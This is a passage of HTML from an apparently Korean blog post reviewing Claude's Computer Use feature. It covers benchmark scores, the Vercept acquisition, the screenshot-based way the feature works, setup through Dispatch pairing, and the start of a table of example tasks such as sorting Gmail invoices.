(출처: Anthropic 공식 발표, Vercept 인수 발표 블로그)&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #666;&quot;&gt;⚠️ &lt;b&gt;벤치마크 버전 주의&lt;/b&gt;: 2024년 10월의 14.9%는 &lt;i&gt;OSWorld 원본&lt;/i&gt; 기준이며, 2026년 2월의 72.5%/72.7%는 &lt;i&gt;OSWorld-Verified&lt;/i&gt;(개정판) 기준이다. 두 버전은 평가 방식이 다르므로 수치를 단순 비교하기 어렵다.&lt;br /&gt;* Vercept 인수 발표(2026.2.25)에서는 Sonnet 4.6의 72.5% 수치만 공식 언급됨. Opus 4.6의 72.7% 수치는 OSWorld 리더보드 기준.&lt;br /&gt;** GPT-5.2의 47.3%는 OpenAI GPT-5.4 발표 페이지에서 공식 비교 수치로 사용된 값(출처: openai.com/index/introducing-gpt-5-4). 일부 소스에서 38.2%를 인용하는 경우가 있으나, 이는 평가 조건(OSWorld 버전)이 다를 수 있다.&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;약 16개월 만에 &lt;b&gt;14.9% &amp;rarr; 72.5%&lt;/b&gt;로, 거의 &lt;b&gt;5배&lt;/b&gt; 향상되었다. Anthropic에 따르면 Sonnet 4.6은 &quot;복잡한 스프레드시트 탐색과 브라우저 탭을 넘나드는 웹 폼 작성 같은 작업에서 인간 수준의 성능에 접근하고 있다.&quot;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Vercept 인수&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 성과 뒤에는 인수가 있었다. Anthropic이 &lt;b&gt;Vercept&lt;/b&gt;라는 회사를 사들인 것이다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;공동 창업자:&lt;/b&gt; Kiana Ehsani, Luca Weihs, Ross Girshick&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;핵심 역량:&lt;/b&gt; AI 시스템이 사람이 사용하는 소프트웨어를 보고 상호작용하는 기술&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;배경:&lt;/b&gt; Vercept 팀은 &quot;AI 시스템이 인간이 매일 사용하는 소프트웨어 안에서 보고 행동하는 방법&quot;에 대해 수년간 연구해온 팀&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이는 2025년 12월의 &lt;b&gt;Bun(JavaScript 런타임) 인수&lt;/b&gt;에 이어 두 번째 주요 인수다(2026년 2월 25일). Bun은 Claude Code의 실행 환경으로 쓰이는 고성능 JavaScript 런타임으로, Claude Code가 Bun 실행 파일로 배포되는 이유가 여기에 있다. Anthropic은 &quot;기술적 야심이 일치하고, 안전성과 엄격함이라는 원칙을 공유하는 팀&quot;을 찾는다고 밝혔다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3: 작동 원리 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 작동 원리&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커넥터 우선, 화면 제어 폴백&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude가 작업을 받으면 다음 순서로 실행 방법을 결정한다:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;커넥터 확인:&lt;/b&gt; 해당 작업에 맞는 커넥터(Slack, Google Calendar 등)가 있는지 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;커넥터 사용:&lt;/b&gt; 있으면 커넥터를 통해 직접 API로 작업 수행 (빠르고 정확)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;화면 제어 폴백:&lt;/b&gt; 커넥터가 없으면 화면을 직접 제어하여 작업 수행&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;왜 커넥터 우선인가&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;화면 기반 제어는 API 통합보다 느리고 오류 가능성이 있다. 커넥터를 우선 사용하는 것은 &lt;b&gt;정확도와 속도를 최대화&lt;/b&gt;하기 위한 설계 결정이다. 화면 제어는 커넥터가 없는 경우에만 사용되는 폴백 메커니즘이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;스크린샷 기반 인식과 픽셀 카운팅&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;실제 동작을 순서대로 보면:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;스크린샷 캡처:&lt;/b&gt; 현재 화면의 스크린샷을 찍는다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;화면 해석:&lt;/b&gt; 멀티모달 능력을 활용하여 스크린샷의 내용을 파악한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;픽셀 계산:&lt;/b&gt; 클릭해야 할 위치까지 가로/세로 몇 픽셀을 이동해야 하는지 계산한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;액션 실행:&lt;/b&gt; 마우스 이동, 클릭, 키보드 입력 등의 액션을 수행한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;결과 확인:&lt;/b&gt; 다시 스크린샷을 찍어 결과를 확인하고, 다음 단계로 진행한다&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 이 방식을 &lt;b&gt;&quot;플립북(flipbook)&quot;&lt;/b&gt;에 비유한다. 연속적인 비디오 스트림이 아니라, 스크린샷을 순차적으로 찍어 맥락을 파악하는 방식이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자기 수정 능력&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude가 막히면 어떻게 할까? Anthropic에 따르면 &lt;b&gt;알아서 다른 방법을 시도&lt;/b&gt;한다. 클릭이 안 먹히면 다시 스크린샷을 찍고, 다른 위치를 클릭해본다. Anthropic은 Claude가 장애물에 부딪혔을 때 스스로 수정하고 재시도하는 행동을 관찰했다고 밝혔다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4: 설정 방법 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 설정 방법&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;필수 조건&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;중요: 구독 및 플랫폼 요구사항&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Computer Use를 사용하려면 다음 조건이 필요하다:&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;macOS&lt;/b&gt; &amp;mdash; 화면 제어(Computer Use) 기능은 현재 macOS 전용 (Windows, Linux 미지원)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Claude Pro 또는 Max 구독&lt;/b&gt; (Team&amp;middot;Enterprise는 현재 미지원)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Claude 데스크톱 앱이 &lt;b&gt;실행 상태&lt;/b&gt;여야 함 (잠자기 모드가 아닌 깨어 있는 상태)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-top: 10px; margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;참고: Dispatch(모바일 태스크 할당) 기능 자체는 &lt;b&gt;Windows x64도 지원&lt;/b&gt;한다. &quot;coming soon&quot;은 &lt;i&gt;화면 제어(Computer Use)&lt;/i&gt;의 Windows 지원에 해당하며, Dispatch와 Computer Use 화면 제어는 별개 기능이다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;⚠️ 단계적 롤아웃 중 &amp;mdash; 아직 안 보여도 정상&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px; margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;리서치 프리뷰인 만큼 Pro/Max 구독자 전원에게 동시에 열리지 않고 &lt;b&gt;순차적으로 활성화&lt;/b&gt;되고 있다. Dispatch 설정에서 &quot;Claude가 컴퓨터를 제어하도록 허용&quot; 토글이 보이지 않는다면 아직 해당 계정에 배포되지 않은 것이다. 별도 신청 없이 순차 확대되므로 기다리면 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Computer Use를 사용하려면 &lt;b&gt;Dispatch 설정 화면&lt;/b&gt;에서 &lt;b&gt;&quot;Claude가 컴퓨터를 제어하도록 허용&quot;&lt;/b&gt; 토글을 켜야 한다 (설명: &quot;Claude가 클릭, 입력 및 앱 열기를 수행할 수 있습니다&quot;). 이 토글이 OFF인 경우 화면 제어 기능이 동작하지 않는다. 활성화 후에는 Claude가 커넥터가 없는 앱을 다룰 때 자동으로 화면 제어 모드로 전환된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Dispatch 연동&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Dispatch 연동은 해당 블로그 참고.. 이미 선행되어 있어야 한다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;background-color: #e6f5ff; color: #0070d1; text-align: start;&quot; href=&quot;https://goddaehee.tistory.com/558&quot;&gt;Claude Cowork Dispatch 리뷰 - 외출 중에도 AI가 내 컴퓨터에서 일 시키기&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;다시 핵심 설정 부분만 가져왔다.&amp;nbsp; 연결 방법은 간단하다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1. Claude Desktop의 Cowork에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;Dispatch&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;클릭&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1156&quot; data-origin-height=&quot;314&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VkFPe/dJMcaibDqlS/mdAQY32VzQa2k0dstgyQ80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VkFPe/dJMcaibDqlS/mdAQY32VzQa2k0dstgyQ80/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VkFPe/dJMcaibDqlS/mdAQY32VzQa2k0dstgyQ80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVkFPe%2FdJMcaibDqlS%2FmdAQY32VzQa2k0dstgyQ80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1156&quot; height=&quot;314&quot; data-origin-width=&quot;1156&quot; data-origin-height=&quot;314&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2. QR코드 생성&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 앱이 설치 안되어있으면 QR 스캔&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 나의 경우 이미 설치 및 로그인 되어 있어서 휴대폰에 로그인되어 있습니다. 클릭&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tBG45/dJMb996OEzZ/xCW2FMKe56m2tSxNkUW1P1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tBG45/dJMb996OEzZ/xCW2FMKe56m2tSxNkUW1P1/img.png&quot; style=&quot;width: 45.2559%; margin-right: 10px;&quot; width=&quot;467&quot; height=&quot;618&quot; data-widthpercent=&quot;45.79&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;1242&quot; data-origin-width=&quot;938&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tBG45/dJMb996OEzZ/xCW2FMKe56m2tSxNkUW1P1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtBG45%2FdJMb996OEzZ%2FxCW2FMKe56m2tSxNkUW1P1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;938&quot; height=&quot;1242&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QQ0Jq/dJMcacP0i1A/L8mGcKxFifOXDN5B4e5Jck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QQ0Jq/dJMcacP0i1A/L8mGcKxFifOXDN5B4e5Jck/img.png&quot; style=&quot;width: 53.5813%;&quot; width=&quot;380&quot; height=&quot;425&quot; data-widthpercent=&quot;54.21&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;926&quot; data-origin-width=&quot;828&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QQ0Jq/dJMcacP0i1A/L8mGcKxFifOXDN5B4e5Jck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQQ0Jq%2FdJMcacP0i1A%2FL8mGcKxFifOXDN5B4e5Jck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;828&quot; height=&quot;926&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 하루만에 Claude가 컴퓨터를 제어하도록 허용 이 생겼다(이전 dispatch 기능출시엔 없던 기능) 이게 computer use 기능인 것 으로 보인다. 체크해 주자.&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5gG4x/dJMcaaxUXBL/vS4sICxAKGrjaxuJaC3W2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5gG4x/dJMcaaxUXBL/vS4sICxAKGrjaxuJaC3W2K/img.png&quot; style=&quot;width: 55.0744%; margin-right: 10px;&quot; width=&quot;405&quot; height=&quot;543&quot; data-origin-width=&quot;1060&quot; data-origin-height=&quot;1422&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;55.72&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5gG4x/dJMcaaxUXBL/vS4sICxAKGrjaxuJaC3W2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5gG4x%2FdJMcaaxUXBL%2FvS4sICxAKGrjaxuJaC3W2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1060&quot; height=&quot;1422&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lKeEc/dJMcaaLrCZB/pGHCC3uvgiiCj9MuhEf3C1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lKeEc/dJMcaaLrCZB/pGHCC3uvgiiCj9MuhEf3C1/img.png&quot; style=&quot;width: 43.7628%;&quot; width=&quot;386&quot; height=&quot;652&quot; data-origin-width=&quot;988&quot; data-origin-height=&quot;1668&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;44.28&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lKeEc/dJMcaaLrCZB/pGHCC3uvgiiCj9MuhEf3C1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlKeEc%2FdJMcaaLrCZB%2FpGHCC3uvgiiCj9MuhEf3C1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;988&quot; height=&quot;1668&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3. Claude 모바일 앱으로 스캔&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;4. 페어링 완료 &amp;mdash; 폰과 데스크탑이 하나의 대화를 공유&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이후에는 폰에서 Claude 모바일 앱을 열면 바로 그 대화에 접근할 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 폰에서 작업하면&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;926&quot; data-origin-height=&quot;1932&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boBfdO/dJMcajnYY9y/KG2mKpjCj1I7VPmCkkkqZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boBfdO/dJMcajnYY9y/KG2mKpjCj1I7VPmCkkkqZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boBfdO/dJMcajnYY9y/KG2mKpjCj1I7VPmCkkkqZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboBfdO%2FdJMcajnYY9y%2FKG2mKpjCj1I7VPmCkkkqZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;292&quot; height=&quot;609&quot; data-origin-width=&quot;926&quot; data-origin-height=&quot;1932&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- PC의 cowork에서도 동일하게 동기화, 지시가 가능한 것을 볼 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1500&quot; data-origin-height=&quot;1528&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lDcDT/dJMcahX4zpD/3p0QospTzI7U8YkL6rT6yk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lDcDT/dJMcahX4zpD/3p0QospTzI7U8YkL6rT6yk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lDcDT/dJMcahX4zpD/3p0QospTzI7U8YkL6rT6yk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlDcDT%2FdJMcahX4zpD%2F3p0QospTzI7U8YkL6rT6yk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;670&quot; height=&quot;1528&quot; data-origin-width=&quot;1500&quot; data-origin-height=&quot;1528&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그리고&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Mac에서 Claude 데스크톱 앱이 실행 중인 상태를 유지한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;모바일 앱으로 Dispatch를 통해 작업을 지시한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Claude가 Mac에서 화면을 제어하며 작업을 수행한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;작업이 완료되면 데스크톱이나 모바일에서 결과를 확인한다&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 포인트&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Dispatch는 Computer Use 발표(2026.3.23)와 함께 &lt;b&gt;Claude Cowork와 Claude Code 양쪽에서 동시에 사용 가능&lt;/b&gt;해졌다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5: 활용 시나리오와 프롬프트 예시 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 활용 시나리오와 프롬프트 예시&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;아래는 커뮤니티와 공식 데모에서 실제로 시도된 시나리오를 바탕으로 정리했다. &lt;b&gt;직접 화면 녹화나 스크린샷으로 시연해보기 좋은 것들&lt;/b&gt;을 우선으로 뽑았다. 리서치 프리뷰 단계이므로 실제 동작은 다를 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;직접 해볼 수 있는 시나리오 6선&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;시나리오&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;이렇게 시켜봐&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;Claude가 하는 일&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;시연 포인트&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;받은 메일 자동 분류&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&quot;받은 편지함에서 '청구서' 또는 'Invoice' 제목인 읽지 않은 이메일을 찾아서 'Invoices' 라벨을 만들고 분류해줘&quot;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;Gmail 열기 &amp;rarr; 검색어 입력 &amp;rarr; 라벨 생성 &amp;rarr; 메일 선택 &amp;rarr; 분류 &amp;rarr; 읽음 처리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;60초 내 결과, Before/After 스크린샷으로 효과 즉시 확인&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #888;&quot;&gt;(출처: Anthropic 공식 데모 시나리오)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;Downloads 폴더 정리&lt;/td&gt;
